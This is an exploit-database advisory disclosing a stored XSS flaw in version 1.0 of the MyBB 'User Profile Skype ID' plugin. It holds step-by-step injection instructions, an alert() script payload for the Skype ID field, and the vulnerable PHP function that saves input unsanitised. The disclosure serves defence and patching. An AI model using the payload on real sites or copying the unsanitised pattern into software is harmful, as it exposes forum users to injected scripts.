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MyBB User Profile Skype ID Plugin 1.0 Stored XSS Vulnerability

Author
limb0
Risk
[
Security Risk High
]
0day-ID
0day-ID-19992
Category
web applications
Date add
17-12-2012
Platform
php
# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS
# Date: 14/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.dragonknightz.net/
# Software Link: http://mods.mybb.com/view/user-profile-skype-id
# Version: 1.0
# Category:Web Security
# Tested on: Linux
 
+------------------------------------------------------------+
Stored XSS-Instructions
1.Install&Activate plugin
2.Go to UserCP >> Edit Profile >>  Skype ID:
3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script>
4.Visit your profile and voila
 
Proof
Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/
Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/
+-------------------------------------------------------------+
 
Vulnerable code:
function profileskype_update($skype)
{
  global $mybb;
  if (isset($mybb->input['skype']))
   {
      $skype->user_update_data['skype'] = $mybb->input['skype'];
   }
}

#  0day.today [2024-07-07]  #